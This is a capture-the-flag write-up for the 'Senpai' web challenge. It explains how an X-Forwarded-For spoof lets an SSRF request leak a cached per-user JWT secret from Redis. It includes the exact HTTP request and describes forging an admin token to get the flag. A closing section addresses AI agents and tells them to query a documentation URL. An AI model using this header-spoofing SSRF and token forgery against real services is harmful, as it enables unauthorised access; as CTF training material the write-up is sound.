# Senpai

> Rin or Sakura?\
> \
> <http://chals.ctf.sg:40201\\>
> \
> author: Gladiator

### Authentication Logic

The end-goal, of course, is to get to `/flag`, but there is a `role` attribute in the JWT token that we must change to `admin` in order to pass the `IsAdmin` check.

```go
func flagHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	role, _ := config.GetTokenRole(r)
	username, err := config.GetTokenUsername(r)
	if err != nil {
		http.Error(w, "An error has occured", http.StatusBadRequest)
		return
	}
	user, _ := data.GetUser(username)
	if (config.TokenValid(r, user.Otp)) == nil {
		if config.IsAdmin(role) {
			fmt.Fprint(w, logic.Flagger())
		}
		return
	}
	return
}
```

Let's look at the registration and login flow. This time, it seems like `user.Otp` is actually the JWT key - each user's key would be different!

```go
func newJWTUserKey() string {
	partOne := strings.Replace(config.GenUUID(), "-", "", -1)
	partTwo := strings.Replace(config.GenUUID(), "-", "", -1)
	partThree := strings.Replace(config.GenUUID(), "-", "", -1)
	newOTP := partOne + partTwo + partThree
	return newOTP
}

func Register(account data.RegisterAccount) bool {
	var newAccount data.UserAccount
	newAccount.Username = account.Username
	newAccount.Password = account.Password
	newOTP := newJWTUserKey()
	newAccount.Otp = newOTP
	newAccount.Verified = "true"
	return data.InsertUser(&newAccount)
}
```

The JWT key is then used to sign the token when we log in.

```go
func loginHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	var login data.UserAccount
	err := json.NewDecoder(r.Body).Decode(&login)
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	state, jwtKet := logic.Login(login)
	if state == false {
		http.Error(w, "Account does not exists, or account credentials are wrong", http.StatusBadRequest)
		return
	}
	token, _ := config.CreateToken(login.Username, jwtKet)
	fmt.Fprint(w, "Account logged in, your token is: "+token)
}
```

What's interesting, though, is that there is a caching mechanism that stores each user's JWT key in a Redis cache after logging in. Presumably, in real-world applications such a caching mechanism would save time in performing database lookups each time JWT authentication occurs.

```go
func Login(account data.UserAccount) (bool, string) {
	var user *data.UserAccount
	user, _ = data.GetUser(account.Username)
	if user == nil {
		return false, ""
	}
	if config.CheckPasswordHash(account.Password, user.Password) == false {
		return false, ""
	}
	if user.Verified == "false" {
		return false, ""
	}
	cache.Set(user.Username, user.Otp, 999999999999)
	return true, user.Otp
}
```

Sidenote: the key is only stored for two seconds, so we have to be quick here!

```go
func Set(key string, jwtkey string, exp int) error {
	client := redis.NewClient(&redis.Options{
		Addr:     "localhost:6379",
		Password: "",
		DB:       0,
	})
	err := client.Set(key, jwtkey, time.Second*2).Err()
	if err != nil {
		return err
	}
	return nil

}
```

### SSRF and Obtaining Cached Secrets

There exists a non-admin path, `/sakura` that does allow us to interact with the Redis cache.

```go
func sakuraeHandler(w http.ResponseWriter, r *http.Request) {
	config.SetupResponse(&w, r)
	output := logic.CacheHelper(r)
	fmt.Fprint(w, output)
	return
}
```

However, we could see in the cache-fetching mechanism that the client URL is validated to be `127.0.0.1`.

```go
func IsLocal(ip string) bool {
	return ip == "127.0.0.1"
}
```

```go
func CacheHelper(r *http.Request) string {
	ip, _ := remoteaddr.Parse().IP(r)
	if !config.IsLocal(ip) {
		return "I get older but your lovers stay my age."
	}
	result, err := cache.Get(r.URL.Query().Get("key"))
	if err != nil {
		return ""
	}
	return result
}
```

That leaves us with `/rin`. The handler logic presents us with the all-too-familiar SSRF code:

```go
func HeavensFeel(r *http.Request) http.Response {
	val := config.Process(r)
	if val == "" {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	resp, err := http.Get(val)
	if err != nil {
		return http.Response{Status: "500 Internal Server Error", StatusCode: 500, Body: nil}
	}
	return *resp
}
```

Again, the client IP is checked. But this time, the logic is slightly different. Instead of using `remoteaddr.Parse().IP(r)`, the server is directly looking at the `X-Forwarded-For` header!

```go
var local string = "X-Forwarded-For"

...

func GetIP(r *http.Request) string {
	return r.Header.Get(local)
}

...

func Process(r *http.Request) string {
	if IsLocal(GetIP(r)) {
		return r.URL.Query().Get("url")
	}
	return ""
}
```

By adding `X-Forwarded-For: 127.0.0.1`, we can access this function and perform an SSRF to the `/sakura` endpoint.

```http
POST /rin?url=http://localhost:8081/sakura?key=socengexp HTTP/1.1
Host: chals.ctf.sg:40201
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2NDcyNDI0NDIsInJvbGUiOiJ1c2VyIiwidXNlcm5hbWUiOiJzb2NlbmdleHAifQ.Y56UmyxoibdVHxvFjN03GI_RXeIgVBl76pQZDmih6Mo
X-Forwarded-For: 127.0.0.1
```

As mentioned earlier, the cached secret only exists for 2 seconds after logging in, so we must make the above request right after logging in.

### Gaining the Admin Role

When we have the JWT secret, we could essentially craft any JWT attributes we want.

Using [https://jwt.io/](https://jwt.io) (or any JWT-signing library), supply the JWT secret and change the `role` to `admin`. We now have a new JWT token with an admin role.

![](/files/mELIynHdQb8T1scq11lJ)

Using this new JWT token, simply make a request to `/flag` to get the flag!

The flag is `CTFSG{Rin_Tohsaka_Best_Girl_uwu}`.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2022/ctf.sg-ctf/senpai.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.